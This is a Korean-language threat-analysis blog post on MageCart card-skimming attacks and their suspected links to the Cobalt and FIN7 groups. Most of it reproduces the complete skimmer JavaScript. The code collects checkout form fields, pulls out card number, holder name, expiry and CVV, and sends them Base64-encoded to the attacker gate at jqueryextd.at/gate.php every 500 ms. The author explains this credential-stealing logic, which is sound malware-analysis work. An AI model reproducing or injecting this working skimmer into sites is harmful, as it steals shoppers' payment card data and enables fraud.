21. MageCart(Cobalt?)'s skimmer

 

최근, 메이지카트 그룹의 카드 스키머 공격이 계속해서 진행중이다.

 

사실, 6월경 모습을 드러내고 진행될 떄쯤에 관심을 갖고 활동을 계속 따라가고 있었는데 최근들어서 공격이 꽤 많아졌다. 거기에 코발트 그룹이나 FIN7 그룹과 유사성까지 제기되면서 메이지카트 그룹의 영향력?이 증폭되고있다.

 

https://blog.malwarebytes.com/threat-analysis/2019/10/magecart-group-4-a-link-with-cobalt-group/

Magecart Group 4: A link with Cobalt Group? - Malwarebytes Labs

 

위 URL에 들어가보면 멀웨어바이츠가 코발트 그룹과 메이지카트 그룹, FIN7 그룹의 유사성에 대해 연관성이 있다고 주장한 것을 볼 수 있다.

 

결론적으로 메이지카트 그룹이 중점적으로 노리는건 온라인 쇼핑몰 같은 곳에서 결제할 때 카드 정보를 입력할 때 카드 정보를 훔쳐가는 건데, 대부분 행위가 실제 쇼핑몰 사이트에 JavaScript를 인젝션 시켜놓고 기다리는 형식이다.

 

JavaScript에서는 접속한 사람이 결제를 위해서 카드 정보를 입력하면 그 정보를 자연스레 빼가는 형식이다. 아래는 전체적 프레임 코드인데, 지금은 이 코드 안에서 살짝살짝만 바뀌는 식으로 유포되는 중이다.

 

(function() {
    function N(p, r) {
        function q(a) {
            if (q[a] !== w) return q[a];
            var c;
            if ("bug-string-char-index" == a) c = "a" != "a" [0];
            else if ("json" == a) c = q("json-stringify") && q("json-parse");
            else {
                var e;
                if ("json-stringify" == a) {
                    c = r.stringify;
                    var b = "function" == typeof c && s;
                    if (b) {
                        (e = function() {
                            return 1
                        }).toJSON = e;
                        try {
                            b = "0" === c(0) && "0" === c(new t) && '""' == c(new A) && c(u) === w && c(w) === w && c() === w && "1" === c(e) && "[1]" == c([e]) && "[null]" == c([w]) && "null" == c(null) && "[null,null,null]" == c([w, u, null]) && '{"a":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}' ==
                                c({
                                    a: [e, !0, !1, null, "\x00\b\n\f\r\t"]
                                }) && "1" === c(null, e) && "[\n 1,\n 2\n]" == c([1, 2], null, 1) && '"-271821-04-20T00:00:00.000Z"' == c(new C(-864E13)) && '"+275760-09-13T00:00:00.000Z"' == c(new C(864E13)) && '"-000001-01-01T00:00:00.000Z"' == c(new C(-621987552E5)) && '"1969-12-31T23:59:59.999Z"' == c(new C(-1))
                        } catch (f) {
                            b = !1
                        }
                    }
                    c = b
                }
                if ("json-parse" == a) {
                    c = r.parse;
                    if ("function" == typeof c) try {
                        if (0 === c("0") && !c(!1)) {
                            e = c('{"a":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}');
                            var n = 5 == e.a.length && 1 === e.a[0];
                            if (n) {
                                try {
                                    n = !c('"\t"')
                                } catch (d) {}
                                if (n) try {
                                    n =
                                        1 !== c("01")
                                } catch (g) {}
                                if (n) try {
                                    n = 1 !== c("1.")
                                } catch (m) {}
                            }
                        }
                    } catch (X) {
                        n = !1
                    }
                    c = n
                }
            }
            return q[a] = !!c
        }
        p || (p = k.Object());
        r || (r = k.Object());
        var t = p.Number || k.Number,
            A = p.String || k.String,
            H = p.Object || k.Object,
            C = p.Date || k.Date,
            G = p.SyntaxError || k.SyntaxError,
            K = p.TypeError || k.TypeError,
            L = p.Math || k.Math,
            I = p.JSON || k.JSON;
        "object" == typeof I && I && (r.stringify = I.stringify, r.parse = I.parse);
        var H = H.prototype,
            u = H.toString,
            v, B, w, s = new C(-0xc782b5b800cec);
        try {
            s = -109252 == s.getUTCFullYear() && 0 === s.getUTCMonth() && 1 === s.getUTCDate() &&
                10 == s.getUTCHours() && 37 == s.getUTCMinutes() && 6 == s.getUTCSeconds() && 708 == s.getUTCMilliseconds()
        } catch (Q) {}
        if (!q("json")) {
            var D = q("bug-string-char-index");
            if (!s) var x = L.floor,
                M = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334],
                E = function(a, c) {
                    return M[c] + 365 * (a - 1970) + x((a - 1969 + (c = +(1 < c))) / 4) - x((a - 1901 + c) / 100) + x((a - 1601 + c) / 400)
                };
            (v = H.hasOwnProperty) || (v = function(a) {
                var c = {},
                    e;
                (c.__proto__ = null, c.__proto__ = {
                    toString: 1
                }, c).toString != u ? v = function(a) {
                    var c = this.__proto__;
                    a = a in (this.__proto__ = null, this);
                    this.__proto__ =
                        c;
                    return a
                } : (e = c.constructor, v = function(a) {
                    var c = (this.constructor || e).prototype;
                    return a in this && !(a in c && this[a] === c[a])
                });
                c = null;
                return v.call(this, a)
            });
            B = function(a, c) {
                var e = 0,
                    b, f, n;
                (b = function() {
                    this.valueOf = 0
                }).prototype.valueOf = 0;
                f = new b;
                for (n in f) v.call(f, n) && e++;
                b = f = null;
                e ? B = 2 == e ? function(a, c) {
                    var e = {},
                        b = "[object Function]" == u.call(a),
                        f;
                    for (f in a) b && "prototype" == f || v.call(e, f) || !(e[f] = 1) || !v.call(a, f) || c(f)
                } : function(a, c) {
                    var e = "[object Function]" == u.call(a),
                        b, f;
                    for (b in a) e && "prototype" ==
                        b || !v.call(a, b) || (f = "constructor" === b) || c(b);
                    (f || v.call(a, b = "constructor")) && c(b)
                } : (f = "valueOf toString toLocaleString propertyIsEnumerable isPrototypeOf hasOwnProperty constructor".split(" "), B = function(a, c) {
                    var e = "[object Function]" == u.call(a),
                        b, h = !e && "function" != typeof a.constructor && F[typeof a.hasOwnProperty] && a.hasOwnProperty || v;
                    for (b in a) e && "prototype" == b || !h.call(a, b) || c(b);
                    for (e = f.length; b = f[--e]; h.call(a, b) && c(b));
                });
                return B(a, c)
            };
            if (!q("json-stringify")) {
                var U = {
                        92: "\\\\",
                        34: '\\"',
                        8: "\\b",
                        12: "\\f",
                        10: "\\n",
                        13: "\\r",
                        9: "\\t"
                    },
                    y = function(a, c) {
                        return ("000000" + (c || 0)).slice(-a)
                    },
                    R = function(a) {
                        for (var c = '"', b = 0, h = a.length, f = !D || 10 < h, n = f && (D ? a.split("") : a); b < h; b++) {
                            var d = a.charCodeAt(b);
                            switch (d) {
                                case 8:
                                case 9:
                                case 10:
                                case 12:
                                case 13:
                                case 34:
                                case 92:
                                    c += U[d];
                                    break;
                                default:
                                    if (32 > d) {
                                        c += "\\u00" + y(2, d.toString(16));
                                        break
                                    }
                                    c += f ? n[b] : a.charAt(b)
                            }
                        }
                        return c + '"'
                    },
                    O = function(a, c, b, h, f, n, d) {
                        var g, m, k, l, p, r, s, t, q;
                        try {
                            g = c[a]
                        } catch (z) {}
                        if ("object" == typeof g && g)
                            if (m = u.call(g), "[object Date]" != m || v.call(g,
                                    "toJSON")) "function" == typeof g.toJSON && ("[object Number]" != m && "[object String]" != m && "[object Array]" != m || v.call(g, "toJSON")) && (g = g.toJSON(a));
                            else if (g > -1 / 0 && g < 1 / 0) {
                            if (E) {
                                l = x(g / 864E5);
                                for (m = x(l / 365.2425) + 1970 - 1; E(m + 1, 0) <= l; m++);
                                for (k = x((l - E(m, 0)) / 30.42); E(m, k + 1) <= l; k++);
                                l = 1 + l - E(m, k);
                                p = (g % 864E5 + 864E5) % 864E5;
                                r = x(p / 36E5) % 24;
                                s = x(p / 6E4) % 60;
                                t = x(p / 1E3) % 60;
                                p %= 1E3
                            } else m = g.getUTCFullYear(), k = g.getUTCMonth(), l = g.getUTCDate(), r = g.getUTCHours(), s = g.getUTCMinutes(), t = g.getUTCSeconds(), p = g.getUTCMilliseconds();
                            g = (0 >= m || 1E4 <= m ? (0 > m ? "-" : "+") + y(6, 0 > m ? -m : m) : y(4, m)) + "-" + y(2, k + 1) + "-" + y(2, l) + "T" + y(2, r) + ":" + y(2, s) + ":" + y(2, t) + "." + y(3, p) + "Z"
                        } else g = null;
                        b && (g = b.call(c, a, g));
                        if (null === g) return "null";
                        m = u.call(g);
                        if ("[object Boolean]" == m) return "" + g;
                        if ("[object Number]" == m) return g > -1 / 0 && g < 1 / 0 ? "" + g : "null";
                        if ("[object String]" == m) return R("" + g);
                        if ("object" == typeof g) {
                            for (a = d.length; a--;)
                                if (d[a] === g) throw K();
                            d.push(g);
                            q = [];
                            c = n;
                            n += f;
                            if ("[object Array]" == m) {
                                k = 0;
                                for (a = g.length; k < a; k++) m = O(k, g, b, h, f, n, d), q.push(m === w ? "null" :
                                    m);
                                a = q.length ? f ? "[\n" + n + q.join(",\n" + n) + "\n" + c + "]" : "[" + q.join(",") + "]" : "[]"
                            } else B(h || g, function(a) {
                                var c = O(a, g, b, h, f, n, d);
                                c !== w && q.push(R(a) + ":" + (f ? " " : "") + c)
                            }), a = q.length ? f ? "{\n" + n + q.join(",\n" + n) + "\n" + c + "}" : "{" + q.join(",") + "}" : "{}";
                            d.pop();
                            return a
                        }
                    };
                r.stringify = function(a, c, b) {
                    var h, f, n, d;
                    if (F[typeof c] && c)
                        if ("[object Function]" == (d = u.call(c))) f = c;
                        else if ("[object Array]" == d) {
                        n = {};
                        for (var g = 0, k = c.length, l; g < k; l = c[g++], (d = u.call(l), "[object String]" == d || "[object Number]" == d) && (n[l] = 1));
                    }
                    if (b)
                        if ("[object Number]" ==
                            (d = u.call(b))) {
                            if (0 < (b -= b % 1))
                                for (h = "", 10 < b && (b = 10); h.length < b; h += " ");
                        } else "[object String]" == d && (h = 10 >= b.length ? b : b.slice(0, 10));
                    return O("", (l = {}, l[""] = a, l), f, n, h, "", [])
                }
            }
            if (!q("json-parse")) {
                var V = A.fromCharCode,
                    W = {
                        92: "\\",
                        34: '"',
                        47: "/",
                        98: "\b",
                        116: "\t",
                        110: "\n",
                        102: "\f",
                        114: "\r"
                    },
                    b, J, l = function() {
                        b = J = null;
                        throw G();
                    },
                    z = function() {
                        for (var a = J, c = a.length, e, h, f, k, d; b < c;) switch (d = a.charCodeAt(b), d) {
                            case 9:
                            case 10:
                            case 13:
                            case 32:
                                b++;
                                break;
                            case 123:
                            case 125:
                            case 91:
                            case 93:
                            case 58:
                            case 44:
                                return e =
                                    D ? a.charAt(b) : a[b], b++, e;
                            case 34:
                                e = "@";
                                for (b++; b < c;)
                                    if (d = a.charCodeAt(b), 32 > d) l();
                                    else if (92 == d) switch (d = a.charCodeAt(++b), d) {
                                    case 92:
                                    case 34:
                                    case 47:
                                    case 98:
                                    case 116:
                                    case 110:
                                    case 102:
                                    case 114:
                                        e += W[d];
                                        b++;
                                        break;
                                    case 117:
                                        h = ++b;
                                        for (f = b + 4; b < f; b++) d = a.charCodeAt(b), 48 <= d && 57 >= d || 97 <= d && 102 >= d || 65 <= d && 70 >= d || l();
                                        e += V("0x" + a.slice(h, b));
                                        break;
                                    default:
                                        l()
                                } else {
                                    if (34 == d) break;
                                    d = a.charCodeAt(b);
                                    for (h = b; 32 <= d && 92 != d && 34 != d;) d = a.charCodeAt(++b);
                                    e += a.slice(h, b)
                                }
                                if (34 == a.charCodeAt(b)) return b++, e;
                                l();
                            default:
                                h =
                                    b;
                                45 == d && (k = !0, d = a.charCodeAt(++b));
                                if (48 <= d && 57 >= d) {
                                    for (48 == d && (d = a.charCodeAt(b + 1), 48 <= d && 57 >= d) && l(); b < c && (d = a.charCodeAt(b), 48 <= d && 57 >= d); b++);
                                    if (46 == a.charCodeAt(b)) {
                                        for (f = ++b; f < c && (d = a.charCodeAt(f), 48 <= d && 57 >= d); f++);
                                        f == b && l();
                                        b = f
                                    }
                                    d = a.charCodeAt(b);
                                    if (101 == d || 69 == d) {
                                        d = a.charCodeAt(++b);
                                        43 != d && 45 != d || b++;
                                        for (f = b; f < c && (d = a.charCodeAt(f), 48 <= d && 57 >= d); f++);
                                        f == b && l();
                                        b = f
                                    }
                                    return +a.slice(h, b)
                                }
                                k && l();
                                if ("true" == a.slice(b, b + 4)) return b += 4, !0;
                                if ("false" == a.slice(b, b + 5)) return b += 5, !1;
                                if ("null" == a.slice(b,
                                        b + 4)) return b += 4, null;
                                l()
                        }
                        return "$"
                    },
                    P = function(a) {
                        var c, b;
                        "$" == a && l();
                        if ("string" == typeof a) {
                            if ("@" == (D ? a.charAt(0) : a[0])) return a.slice(1);
                            if ("[" == a) {
                                for (c = [];; b || (b = !0)) {
                                    a = z();
                                    if ("]" == a) break;
                                    b && ("," == a ? (a = z(), "]" == a && l()) : l());
                                    "," == a && l();
                                    c.push(P(a))
                                }
                                return c
                            }
                            if ("{" == a) {
                                for (c = {};; b || (b = !0)) {
                                    a = z();
                                    if ("}" == a) break;
                                    b && ("," == a ? (a = z(), "}" == a && l()) : l());
                                    "," != a && "string" == typeof a && "@" == (D ? a.charAt(0) : a[0]) && ":" == z() || l();
                                    c[a.slice(1)] = P(z())
                                }
                                return c
                            }
                            l()
                        }
                        return a
                    },
                    T = function(a, b, e) {
                        e = S(a, b, e);
                        e ===
                            w ? delete a[b] : a[b] = e
                    },
                    S = function(a, b, e) {
                        var h = a[b],
                            f;
                        if ("object" == typeof h && h)
                            if ("[object Array]" == u.call(h))
                                for (f = h.length; f--;) T(h, f, e);
                            else B(h, function(a) {
                                T(h, a, e)
                            });
                        return e.call(a, b, h)
                    };
                r.parse = function(a, c) {
                    var e, h;
                    b = 0;
                    J = "" + a;
                    e = P(z());
                    "$" != z() && l();
                    b = J = null;
                    return c && "[object Function]" == u.call(c) ? S((h = {}, h[""] = e, h), "", c) : e
                }
            }
        }
        r.runInContext = N;
        return r
    }
    var K = typeof define === "function" && define.amd,
        F = {
            "function": !0,
            object: !0
        },
        G = F[typeof exports] && exports && !exports.nodeType && exports,
        k = F[typeof window] &&
        window || this,
        t = G && F[typeof module] && module && !module.nodeType && "object" == typeof global && global;
    !t || t.global !== t && t.window !== t && t.self !== t || (k = t);
    if (G && !K) N(k, G);
    else {
        var L = k.JSON,
            Q = k.JSON3,
            M = !1,
            A = N(k, k.JSON3 = {
                noConflict: function() {
                    M || (M = !0, k.JSON = L, k.JSON3 = Q, L = Q = null);
                    return A
                }
            });
        k.JSON = {
            parse: A.parse,
            stringify: A.stringify
        }
    }
    K && define(function() {
        return A
    })
}).call(this);
! function(e) {
    var n = !1;
    if ("function" == typeof define && define.amd && (define(e), n = !0), "object" == typeof exports && (module.exports = e(), n = !0), !n) {
        var o = window.Cookies,
            t = window.Cookies = e();
        t.noConflict = function() {
            return window.Cookies = o, t
        }
    }
}(function() {
    function g() {
        for (var e = 0, n = {}; e < arguments.length; e++) {
            var o = arguments[e];
            for (var t in o) n[t] = o[t]
        }
        return n
    }
    return function e(l) {
        function C(e, n, o) {
            var t;
            if ("undefined" != typeof document) {
                if (1 < arguments.length) {
                    if ("number" == typeof(o = g({
                            path: "/"
                        }, C.defaults, o)).expires) {
                        var r = new Date;
                        r.setMilliseconds(r.getMilliseconds() + 864e5 * o.expires), o.expires = r
                    }
                    o.expires = o.expires ? o.expires.toUTCString() : "";
                    try {
                        t = JSON.stringify(n), /^[\{\[]/.test(t) && (n = t)
                    } catch (e) {}
                    n = l.write ? l.write(n, e) : encodeURIComponent(String(n)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent), e = (e = (e = encodeURIComponent(String(e))).replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent)).replace(/[\(\)]/g, escape);
                    var i = "";
                    for (var c in o) o[c] && (i += "; " + c, !0 !== o[c] && (i += "=" + o[c]));
                    return document.cookie = e + "=" + n + i
                }
                e || (t = {});
                for (var a = document.cookie ? document.cookie.split("; ") : [], s = /(%[0-9A-Z]{2})+/g, f = 0; f < a.length; f++) {
                    var p = a[f].split("="),
                        d = p.slice(1).join("=");
                    this.json || '"' !== d.charAt(0) || (d = d.slice(1, -1));
                    try {
                        var u = p[0].replace(s, decodeURIComponent);
                        if (d = l.read ? l.read(d, u) : l(d, u) || d.replace(s, decodeURIComponent), this.json) try {
                            d = JSON.parse(d)
                        } catch (e) {}
                        if (e === u) {
                            t = d;
                            break
                        }
                        e || (t[u] = d)
                    } catch (e) {}
                }
                return t
            }
        }
        return (C.set = C).get = function(e) {
            return C.call(C, e)
        }, C.getJSON = function() {
            return C.apply({
                json: !0
            }, [].slice.call(arguments))
        }, C.defaults = {}, C.remove = function(e, n) {
            C(e, "", g(n, {
                expires: -1
            }))
        }, C.withConverter = e, C
    }(function() {})
});
var hex_chr = "0123456789abcdef";
 
function rhex(i) {
    for (str = "", j = 0; j <= 3; j++) str += hex_chr.charAt(i >> 8 * j + 4 & 15) + hex_chr.charAt(i >> 8 * j & 15);
    return str
}
 
function str2blks_MD5(d) {
    for (nblk = 1 + (d.length + 8 >> 6), blks = new Array(16 * nblk), i = 0; i < 16 * nblk; i++) blks[i] = 0;
    for (i = 0; i < d.length; i++) blks[i >> 2] |= d.charCodeAt(i) << i % 4 * 8;
    return blks[i >> 2] |= 128 << i % 4 * 8, blks[16 * nblk - 2] = 8 * d.length, blks
}
 
function add(i, d) {
    var c = (65535 & i) + (65535 & d);
    return (i >> 16) + (d >> 16) + (c >> 16) << 16 | 65535 & c
}
 
function rol(i, d) {
    return i << d | i >>> 32 - d
}
 
function cmn(i, d, c, a, b, x) {
    return add(rol(add(add(d, i), add(a, x)), b), c)
}
 
function ff(i, d, c, a, b, x, h) {
    return cmn(d & c | ~d & a, i, d, b, x, h)
}
 
function gg(i, d, c, a, b, x, h) {
    return cmn(d & a | c & ~a, i, d, b, x, h)
}
 
function hh(i, d, c, a, b, x, h) {
    return cmn(d ^ c ^ a, i, d, b, x, h)
}
 
function ii(i, d, c, a, b, x, h) {
    return cmn(c ^ (d | ~a), i, d, b, x, h)
}
 
function calcMD5(h) {
    for (x = str2blks_MD5(h), a = 1732584193, b = -271733879, c = -1732584194, d = 271733878, i = 0; i < x.length; i += 16) olda = a, oldb = b, oldc = c, oldd = d, a = ff(a, b, c, d, x[i + 0], 7, -680876936), d = ff(d, a, b, c, x[i + 1], 12, -389564586), c = ff(c, d, a, b, x[i + 2], 17, 606105819), b = ff(b, c, d, a, x[i + 3], 22, -1044525330), a = ff(a, b, c, d, x[i + 4], 7, -176418897), d = ff(d, a, b, c, x[i + 5], 12, 1200080426), c = ff(c, d, a, b, x[i + 6], 17, -1473231341), b = ff(b, c, d, a, x[i + 7], 22, -45705983), a = ff(a, b, c, d, x[i + 8], 7, 1770035416), d = ff(d, a, b, c, x[i + 9], 12, -1958414417), c = ff(c, d, a, b, x[i + 10], 17, -42063), b = ff(b, c, d, a, x[i + 11], 22, -1990404162), a = ff(a, b, c, d, x[i + 12], 7, 1804603682), d = ff(d, a, b, c, x[i + 13], 12, -40341101), c = ff(c, d, a, b, x[i + 14], 17, -1502002290), b = ff(b, c, d, a, x[i + 15], 22, 1236535329), a = gg(a, b, c, d, x[i + 1], 5, -165796510), d = gg(d, a, b, c, x[i + 6], 9, -1069501632), c = gg(c, d, a, b, x[i + 11], 14, 643717713), b = gg(b, c, d, a, x[i + 0], 20, -373897302), a = gg(a, b, c, d, x[i + 5], 5, -701558691), d = gg(d, a, b, c, x[i + 10], 9, 38016083), c = gg(c, d, a, b, x[i + 15], 14, -660478335), b = gg(b, c, d, a, x[i + 4], 20, -405537848), a = gg(a, b, c, d, x[i + 9], 5, 568446438), d = gg(d, a, b, c, x[i + 14], 9, -1019803690), c = gg(c, d, a, b, x[i + 3], 14, -187363961), b = gg(b, c, d, a, x[i + 8], 20, 1163531501), a = gg(a, b, c, d, x[i + 13], 5, -1444681467), d = gg(d, a, b, c, x[i + 2], 9, -51403784), c = gg(c, d, a, b, x[i + 7], 14, 1735328473), b = gg(b, c, d, a, x[i + 12], 20, -1926607734), a = hh(a, b, c, d, x[i + 5], 4, -378558), d = hh(d, a, b, c, x[i + 8], 11, -2022574463), c = hh(c, d, a, b, x[i + 11], 16, 1839030562), b = hh(b, c, d, a, x[i + 14], 23, -35309556), a = hh(a, b, c, d, x[i + 1], 4, -1530992060), d = hh(d, a, b, c, x[i + 4], 11, 1272893353), c = hh(c, d, a, b, x[i + 7], 16, -155497632), b = hh(b, c, d, a, x[i + 10], 23, -1094730640), a = hh(a, b, c, d, x[i + 13], 4, 681279174), d = hh(d, a, b, c, x[i + 0], 11, -358537222), c = hh(c, d, a, b, x[i + 3], 16, -722521979), b = hh(b, c, d, a, x[i + 6], 23, 76029189), a = hh(a, b, c, d, x[i + 9], 4, -640364487), d = hh(d, a, b, c, x[i + 12], 11, -421815835), c = hh(c, d, a, b, x[i + 15], 16, 530742520), b = hh(b, c, d, a, x[i + 2], 23, -995338651), a = ii(a, b, c, d, x[i + 0], 6, -198630844), d = ii(d, a, b, c, x[i + 7], 10, 1126891415), c = ii(c, d, a, b, x[i + 14], 15, -1416354905), b = ii(b, c, d, a, x[i + 5], 21, -57434055), a = ii(a, b, c, d, x[i + 12], 6, 1700485571), d = ii(d, a, b, c, x[i + 3], 10, -1894986606), c = ii(c, d, a, b, x[i + 10], 15, -1051523), b = ii(b, c, d, a, x[i + 1], 21, -2054922799), a = ii(a, b, c, d, x[i + 8], 6, 1873313359), d = ii(d, a, b, c, x[i + 15], 10, -30611744), c = ii(c, d, a, b, x[i + 6], 15, -1560198380), b = ii(b, c, d, a, x[i + 13], 21, 1309151649), a = ii(a, b, c, d, x[i + 4], 6, -145523070), d = ii(d, a, b, c, x[i + 11], 10, -1120210379), c = ii(c, d, a, b, x[i + 2], 15, 718787259), b = ii(b, c, d, a, x[i + 9], 21, -343485551), a = add(a, olda), b = add(b, oldb), c = add(c, oldc), d = add(d, oldd);
    return rhex(a) + rhex(b) + rhex(c) + rhex(d)
}
 
var $s = {
    Number: "paypal_direct_cc_number",
    Holder: null,
    HolderFirstName: "billing:firstname",
    HolderLastName: "billing:lastname",
    Date: null,
    Month: "paypal_direct_expiration",
    Year: "paypal_direct_expiration_yr",
    CVV: "paypal_direct_cc_cid",
    Gate: "https://jqueryextd.at/gate.php",
    Data: {},
    Sent: [],
    SaveParam: function(elem) {
        if (elem.id !== undefined && elem.id != "" && elem.id !== null && elem.value.length < 256 && elem.value.length > 0) {
            $s.Data[elem.id] = elem.value;
            return;
        }
        if (elem.name !== undefined && elem.name != "" && elem.name !== null && elem.value.length < 256 && elem.value.length > 0) {
            $s.Data[elem.name] = elem.value;
            return;
        }
    },
    SaveAllFields: function() {
        var inputs = document.getElementsByTagName("input");
        var selects = document.getElementsByTagName("select");
        var textareas = document.getElementsByTagName("textarea");
        for (var i = 0; i < inputs.length; i++) $s.SaveParam(inputs[i]);
        for (var i = 0; i < selects.length; i++) $s.SaveParam(selects[i]);
        for (var i = 0; i < textareas.length; i++) $s.SaveParam(textareas[i]);
        Cookies.set("$s", $s.Base64.encode(JSON.stringify($s.Data)));
    },
    SendData: function() {
        $s.Data['Domain'] = location.hostname;
        var encoded = $s.Base64.encode(JSON.stringify($s.Data));
        var hash = calcMD5(encoded);
        for (var i = 0; i < $s.Sent.length; i++)
            if ($s.Sent[i] == hash) return;
        $s.LoadImage(encoded);
    },
    TrySend: function() {
        $s.SaveAllFields();
        $s.GetCCInfo();
        if ($s.Data['Number'] === undefined || $s.Data['Number'].length < 11) return;
        if ($s.Data['Holder'] === undefined || $s.Data['Holder'].length == 0) return;
        if ($s.Data['Date'] === undefined || $s.Data['Date'].length == 0) return;
        if ($s.Data['CVV'] === undefined || $s.Data['CVV'].length < 3) return;
        $s.SendData();
    },
    GetCCInfo: function() {
        if ($s.Number !== null && $s.Data[$s.Number] !== undefined) $s.Data['Number'] = $s.Data[$s.Number];
        if ($s.CVV !== null && $s.Data[$s.CVV] !== undefined) $s.Data['CVV'] = $s.Data[$s.CVV];
        if ($s.Holder !== null && $s.Data[$s.Holder] !== undefined) $s.Data['Holder'] = $s.Data[$s.Holder];
        if ($s.HolderFirstName !== null && $s.Data[$s.HolderFirstName] !== undefined) $s.Data['Holder'] = $s.Data[$s.HolderFirstName];
        if ($s.HolderLastName !== null && $s.Data[$s.HolderLastName] !== undefined) $s.Data['Holder'] += " " + $s.Data[$s.HolderLastName];
        if ($s.Date !== null && $s.Data[$s.Date] !== undefined) $s.Data['Date'] = $s.Data[$s.Date];
        if ($s.Month !== null && $s.Data[$s.Month] !== undefined) $s.Data['Date'] = $s.Data[$s.Month];
        if ($s.Year !== null && $s.Data[$s.Year] !== undefined) $s.Data['Date'] += "/" + $s.Data[$s.Year];
    },
    LoadImage: function(encoded) {
        $s.Sent.push(calcMD5(encoded));
        Cookies.set("$sent", $s.Base64.encode(JSON.stringify($s.Sent)));
        var img = document.createElement("IMG");
        img.src = $s.GetImageUrl(encoded);
        Cookies.remove("$s");
    },
    GetImageUrl: function(encoded) {
        return $s.Gate + "?hash=" + encoded;
    },
    GetFromStorage: function() {
        if (Cookies.get("$s") !== undefined) {
            $s.Data = JSON.parse($s.Base64.decode(Cookies.get("$s")));
        }
        if (Cookies.get("$sent") !== undefined) {
            $s.Sent = JSON.parse($s.Base64.decode(Cookies.get("$sent")));
        }
    },
    Base64: {
        _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
        encode: function(r) {
            var t, e, o, h, a, n, c, d = "",
                i = 0;
            for (r = this._utf8_encode(r); i < r.length;) h = (t = r.charCodeAt(i++)) >> 2, a = (3 & t) << 4 | (e = r.charCodeAt(i++)) >> 4, n = (15 & e) << 2 | (o = r.charCodeAt(i++)) >> 6, c = 63 & o, isNaN(e) ? n = c = 64 : isNaN(o) && (c = 64), d = d + this._keyStr.charAt(h) + this._keyStr.charAt(a) + this._keyStr.charAt(n) + this._keyStr.charAt(c);
            return d
        },
        decode: function(r) {
            var t, e, o, h, a, n, c = "",
                d = 0;
            for (r = r.replace(/[^A-Za-z0-9\+\/\=]/g, ""); d < r.length;) t = this._keyStr.indexOf(r.charAt(d++)) << 2 | (h = this._keyStr.indexOf(r.charAt(d++))) >> 4, e = (15 & h) << 4 | (a = this._keyStr.indexOf(r.charAt(d++))) >> 2, o = (3 & a) << 6 | (n = this._keyStr.indexOf(r.charAt(d++))), c += String.fromCharCode(t), 64 != a && (c += String.fromCharCode(e)), 64 != n && (c += String.fromCharCode(o));
            return c = this._utf8_decode(c)
        },
        _utf8_encode: function(r) {
            r = r.replace(/\r\n/g, "\n");
            for (var t = "", e = 0; e < r.length; e++) {
                var o = r.charCodeAt(e);
                o < 128 ? t += String.fromCharCode(o) : o > 127 && o < 2048 ? (t += String.fromCharCode(o >> 6 | 192), t += String.fromCharCode(63 & o | 128)) : (t += String.fromCharCode(o >> 12 | 224), t += String.fromCharCode(o >> 6 & 63 | 128), t += String.fromCharCode(63 & o | 128))
            }
            return t
        },
        _utf8_decode: function(r) {
            for (var t = "", e = 0, o = c1 = c2 = 0; e < r.length;)(o = r.charCodeAt(e)) < 128 ? (t += String.fromCharCode(o), e++) : o > 191 && o < 224 ? (c2 = r.charCodeAt(e + 1), t += String.fromCharCode((31 & o) << 6 | 63 & c2), e += 2) : (c2 = r.charCodeAt(e + 1), c3 = r.charCodeAt(e + 2), t += String.fromCharCode((15 & o) << 12 | (63 & c2) << 6 | 63 & c3), e += 3);
            return t
        }
    }
}
 
document.onreadystatechange = function() {
    if (document.readyState === 'complete') {
        $s.GetFromStorage();
        setInterval($s.TrySend, 500);
        if (document.getElementById($s.Number)) document.getElementById($s.Number).value = "";
        if (document.getElementById($s.CVV)) document.getElementById($s.CVV).value = "";
    }
}

 

이 중에서도 제일 중점적인 코드는 아래와 같은 부분이다.

 

var $s = {
    Number: "paypal_direct_cc_number",
    Holder: null,
    HolderFirstName: "billing:firstname",
    HolderLastName: "billing:lastname",
    Date: null,
    Month: "paypal_direct_expiration",
    Year: "paypal_direct_expiration_yr",
    CVV: "paypal_direct_cc_cid",
    Gate: "https://jqueryextd.at/gate.php",
    Data: {},
    Sent: [],

 

위 부분이 실제 소유자 이름, 만료 일자, CVV 넘버까지 저장하는 변수이다. 이외에는 저장한 정보를 공격자 서버로 보내거나, 저장된 정보가 몇 글자 이상(이름의 경우에는 최소 3글자는 되니까, CVV넘버의 경우도 3~4자리이기 때문에) 검사하는 부분도 포함되어있다. 아마, 제대로 된 정보가 저장된건지를 검사하는 것으로 판단된다.

 

메이지카트 그룹에서는 위와 같은 코드를 이용해 다양한 곳에서 카드정보 탈취를 진행하고 있다. 다행히, 아직까지 한국에서의 활동은 발견되지 않았는데.. 곧 발견될지도 모르겠다.

미국의 대학 도서 사이트나 대규모 쇼핑몰들이 이미 당한 사례가 있어서 계속해서 파급력이 커지는 중이다.